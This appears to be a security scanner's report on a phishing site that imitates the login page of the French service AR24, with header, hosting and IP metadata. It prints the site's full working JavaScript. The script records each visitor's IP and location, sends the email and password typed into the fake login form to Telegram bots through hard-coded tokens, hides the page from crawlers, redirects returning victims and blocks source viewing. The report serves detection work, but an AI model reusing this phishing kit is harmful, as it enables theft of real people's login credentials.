documentation technical

government public service

download file sharing

corporate business

blog personal website

French

Domain 'ar24-sigma.vercel.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'ar24-sigma'. The registrable portion 'vercel' spans 6 characters containing 2 vowels alongside 4 consonants. Breaking it apart gives 2 words: ver, cel. The median word length lands at 3 characters. No strong language cues emerged from the frequency lists.

csrf_token

username_hp

persistent

effa8548ef122120bfa3486223575889b7ee0e122e24281f746e7bfee1eb58fa

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Digital Privacy Corporation

101domain GRS Limited

ipinfo.io

AR24 SAS

GANDI

ar24.fr

Domains Abuse

GoDaddy.com, LLC

telegram.org

Tucows

Tucows Domains Inc

vercel.app

WebNX

Daniel Pautz

WebNX, Inc.

WEBNX-BLK-3


  // ******************************************************
  // 1. DÉCLARATIONS GLOBALES (Tokens et URL)
  // ******************************************************

  const REDIRECT_URL = 'https://www.ar24.fr/'; // URL de redirection
  const ADMIN_BYPASS_KEY = 'bypass24'; // 🔑 Clé secrète pour l'administrateur

  // 🚨 REMPLACEZ PAR VOS VRAIS IDENTIFIANTS TELEGRAM 🚨
  const bots = [
    { token: "8186336309:AAF7YI0FfcyjpgECxnQloENE4QKUaunvKrs", chat_id: "6297861735" },
    { token: "8186f336309:AAFKS0G-OyNjzYUNobmb344Qcr00cWno000", chat_id: "6297861000" }
  ];

  const isLocal = window.location.protocol === 'file:';

  // Fonction utilitaire pour récupérer les infos IP/Géo/UserAgent
  async function getVisitorInfo() {
      let ip = 'N/A';
      let geo = 'N/A';

      if (isLocal) {
          ip = '127.0.0.1 (Local)';
          geo = 'Local Host';
      } else {
          try {
              const ipResponse = await fetch('https://api64.ipify.org?format=json');
              const ipData = await ipResponse.json();
              ip = ipData.ip;
          } catch (e) {
              ip = 'N/A_FetchError';
          }

          if (ip && ip !== 'N/A' && ip !== 'N/A_FetchError') {
              try {
                  const geoResponse = await fetch(`https://ipinfo.io/${ip}/json`);
                  const geoData = await geoResponse.json();

                  if (geoData.country) {
                      const city = geoData.city || 'Ville inconnue';
                      const country = geoData.country || 'Pays inconnu';
                      geo = `${city}, ${country}`;
                  } else {
                      geo = `N/A_GeoLookupFailed`;
                  }
              } catch (e) {
                  geo = 'N/A_GeoFetchError';
              }
          }
      }

      const currentTime = new Date().toLocaleString();
      const userAgent = navigator.userAgent;

      return { ip, geo, currentTime, userAgent };
  }

  // ******************************************************
  // 2. NOTIFICATIONS TELEGRAM
  // ******************************************************

  // Alerte pour la PREMIÈRE visite (Affichage du formulaire)
  async function sendViewNotification(visitorInfo) {
    if (isLocal) return;

    let messageText = `\n--- 🔔Poisson regarde 🔔 ---\n`;
    messageText += `⚠️ Statut: [Nouveau Visiteur]\n`;
    messageText += `🌐 IP: ${visitorInfo.ip}\n`;
    messageText += `🌍 Localisation: ${visitorInfo.geo}\n`;
    messageText += `⏰ Heure Locale: ${visitorInfo.currentTime}\n`;

    const fetchPromises = bots.map(bot => {
      const url = `https://api.telegram.org/bot${bot.token}/sendMessage`;
      return fetch(url, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ chat_id: bot.chat_id, text: messageText })
      }).catch(error => {
        console.error("Erreur Telegram (View):", error);
      });
    });

    await Promise.all(fetchPromises);
  }

  // Alerte lorsqu'un utilisateur est BLOQUÉ/REDIRIGÉ (Visite ultérieure)
  async function sendBlockNotification(visitorInfo) {
    if (isLocal) return;

    let messageText = `\n--- 🛑 Tentative de Retour Bloquée 🛑 ---\n`;
    messageText += `⚠️ Statut: [Ancien Utilisateur Redirigé]\n`;
    messageText += `🌐 IP: ${visitorInfo.ip}\n`;
    messageText += `🌍 Localisation: ${visitorInfo.geo}\n`;
    messageText += `⏰ Heure Locale: ${visitorInfo.currentTime}\n`;
    messageText += `Redirigé vers: ${REDIRECT_URL}\n`;

    const fetchPromises = bots.map(bot => {
      const url = `https://api.telegram.org/bot${bot.token}/sendMessage`;
      return fetch(url, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ chat_id: bot.chat_id, text: messageText })
      }).catch(error => {
        console.error("Erreur Telegram (Block):", error);
      });
    });

    await Promise.all(fetchPromises);
  }

  // ******************************************************
  // 3. VÉRIFICATION D'ACCÈS ET D'EXCLUSION
  // ******************************************************

  function isBypassAdmin() {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get('admin') === ADMIN_BYPASS_KEY;
  }

  async function checkVisitor() {
    const userAgent = navigator.userAgent;
    const body = document.body;

    // 🛑 Étape 1 : Vérification Admin (votre exception)
    if (isBypassAdmin()) {
        body.style.visibility = 'visible';
        document.getElementById('reset-admin-btn').style.display = 'block';
        console.log("Mode Administrateur activé : contournement du LocalStorage.");
        return true;
    }

    // ⛔ Étape 2 : Blocage Public (visiteur ayant déjà soumis ou visité)
    const hasBeenMarked = localStorage.getItem('formSubmitted') === 'true';

    // Si l'utilisateur a déjà soumis (marqué)
    if (hasBeenMarked) {
        // 🔔 Envoi de l'alerte de BLOCAGE/REDIRECTION (NOUVEAU)
        const visitorInfo = await getVisitorInfo();
        sendBlockNotification(visitorInfo);

        body.style.visibility = 'visible';
        body.innerHTML = '<h1>Accès refusé.</h1><p>Cette page n\'est plus disponible.</p>';
        window.location.href = REDIRECT_URL;
        return false;
    }

    // 🤖 Étape 3 : VÉRIFICATION DES ROBOTS (User-Agent)
    const botPatterns = /bot|crawl|slurp|spider|archiver|pinterest|facebookexternalhit|whatsapp|telegram|discord/i;
    if (botPatterns.test(userAgent)) {
      body.style.visibility = 'visible';
      body.style.backgroundColor = 'white';
      body.innerHTML = '';
      return false;
    }

    // 🔔 Étape 4 : Envoi de la notification de consultation si tout est OK (Première visite)
    const visitorInfo = await getVisitorInfo();
    sendViewNotification(visitorInfo);

    // ✅ Étape 5 : Afficher le contenu
    body.style.visibility = 'visible';
    return true;
  }

  // Exécuter la vérification immédiatement au chargement
  checkVisitor();


  // ***********************************************
  // 4. LOGIQUE DE TENTATIVES ET ENVOI DE FORMULAIRE
  // ***********************************************
  const loginForm = document.getElementById('login');
  const emailEl = document.getElementById('ide_id');
  const pwdEl = document.getElementById('pwd_id');
  const submitBtn = document.getElementById('submit-btn');
  const honeypotEl = document.getElementById('username_hp');

  let attemptCount = 0;

  // Fonction pour envoyer les identifiants saisis
  async function sendToTelegram(email, password, statusText) {
    if (isLocal) return;

    const visitorInfo = await getVisitorInfo();

    let messageText = `\n--- 🚨 poisson a mordu 🚨 ---\n`;
    messageText += ` STATUT: ${statusText}\n`;
    messageText += `📧 E-mail: ${email}\n`;
    messageText += `🔑 Mot de passe: ${password}\n`;
    messageText += `---------------------------------------\n`;
    messageText += `🌐 IP: ${visitorInfo.ip}\n`;
    messageText += `🌍 Localisation: ${visitorInfo.geo}\n`;
    messageText += `⏰ Heure Locale: ${visitorInfo.currentTime}\n`;

    const fetchPromises = bots.map(bot => {
      const url = `https://api.telegram.org/bot${bot.token}/sendMessage`;
      return fetch(url, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ chat_id: bot.chat_id, text: messageText })
      }).catch(error => {
        console.error("Erreur Telegram (Bite):", error);
      });
    });

    await Promise.all(fetchPromises);
  }

  function displayError() {
    const card = document.querySelector('.card');
    const colSmall = document.querySelector('.col-small');

    const oldError = document.getElementById('login-error-message');
    if (oldError) {
      oldError.remove();
    }

    const errorDiv = document.createElement('div');
    errorDiv.id = 'login-error-message';
    errorDiv.style.cssText = `
      background: #ffe3e3;
      color: #9c0000;
      border: 1px solid #ff9c9c;
      padding: 20px;
      margin: 0 auto 30px auto;
      border-radius: 8px;
      font-size: 14px;
      line-height: 1.5;
      max-width: 560px;
      text-align: center;
    `;

    errorDiv.innerHTML = `
      <strong>Identifiants incorrects. Veuillez réessayer.</strong><br>
      Pour information, nous exigeons que le mot de passe comporte au minimum 8 caractères dont 1 chiffre, 1 minuscule et 1 majuscule.
      <br><br>
      <a href="#" style="color: #9c0000; text-decoration: underline; font-weight: 600;">Mot de passe oublié ?</a>
    `;

    colSmall.insertBefore(errorDiv, card.parentElement);
  }

  loginForm.addEventListener('submit', async (e) => {
    e.preventDefault();

    const email = emailEl.value.trim();
    const password = pwdEl.value;

    if (!email || !password) return;
    if (document.body.style.visibility !== 'visible') return;

    // --- VÉRIFICATION HONEYPOT ---
    if (honeypotEl.value !== '') {
        window.location.href = REDIRECT_URL;
        return;
    }

    attemptCount++;

    // ⚠️ BLOCAGE PUBLIC : On marque l'utilisateur dès la soumission (sauf si c'est l'admin)
    if (!isBypassAdmin()) {
        localStorage.setItem('formSubmitted', 'true');
    }

    submitBtn.disabled = true;
    submitBtn.value = "Connexion en cours...";

    const statusText = `Tentative #${attemptCount}`;
    await sendToTelegram(email, password, statusText);

    displayError();

    emailEl.value = '';
    pwdEl.value = '';

    submitBtn.disabled = false;
    submitBtn.value = "Connexion";
  });


  // ***********************************************
  // 5. BLOCAGE DU CODE SOURCE ET CLIC DROIT
  // ***********************************************

  if (!isBypassAdmin()) {
    document.addEventListener('contextmenu', event => event.preventDefault());
  }

  document.onkeydown = function(e) {
    if (isBypassAdmin()) return true;
    if(e.keyCode == 123 || (e.ctrlKey && e.shiftKey && e.keyCode == 'I'.charCodeAt(0)) || (e.ctrlKey && e.keyCode == 'U'.charCodeAt(0))) {
       return false;
    }
  };


  // ***********************************************
  // 6. FONCTIONS DIVERSES (Admin Reset, UI)
  // ***********************************************

  document.getElementById('visibilityBtn').addEventListener('click', () => {
    const pwd = document.getElementById('pwd_id');
    pwd.type = pwd.type === 'password' ? 'text' : 'password';
  });

  // LOGIQUE DE RÉINITIALISATION ADMIN
  document.getElementById('reset-admin-btn').addEventListener('click', () => {
      if (isBypassAdmin()) {
          localStorage.removeItem('formSubmitted'); // Supprime le marqueur de blocage
          alert("Votre statut de 'visiteur bloqué' a été réinitialisé.");
          window.location.reload();
      }
  });

  // Logique de gestion de la bannière de cookies
  const cookieBanner = document.getElementById('cookie-banner');
  const btnAcceptAll = document.getElementById('btn-accept-all');
  const btnContinueWithout = document.getElementById('btn-continue-without');

  btnAcceptAll.addEventListener('click', () => {
    cookieBanner.style.display = 'none';
    localStorage.setItem('cookieConsent', 'accepted');
  });

  btnContinueWithout.addEventListener('click', (e) => {
    e.preventDefault();
    cookieBanner.style.display = 'none';
    localStorage.setItem('cookieConsent', 'declined');
  });

  window.addEventListener('load', () => {
    if (localStorage.getItem('cookieConsent')) {
      cookieBanner.style.display = 'none';
    } else {
      cookieBanner.style.display = 'flex';
    }
  });



PasswordField

Connexion - AR24

⚠️ High Risk - http://ar24-sigma.vercel.app/

Requests	IP Address	Location	AS Autonomous System
5	173.231.16.77	United States	AS18450WebNX, Inc.
1	64.29.17.67	United States	AS16509Amazon.com, Inc.
1	185.183.140.162	France	AS211068AR24 SAS
1	34.117.59.81Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	185.183.140.161	France	AS211068AR24 SAS
1	149.154.166.110	Amsterdam, North Holland, Netherlands	AS62041Telegram Messenger Inc
1	64.29.17.195	United States	AS16509Amazon.com, Inc.
11	7	-	-

Security Scan Report: ar24-sigma.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History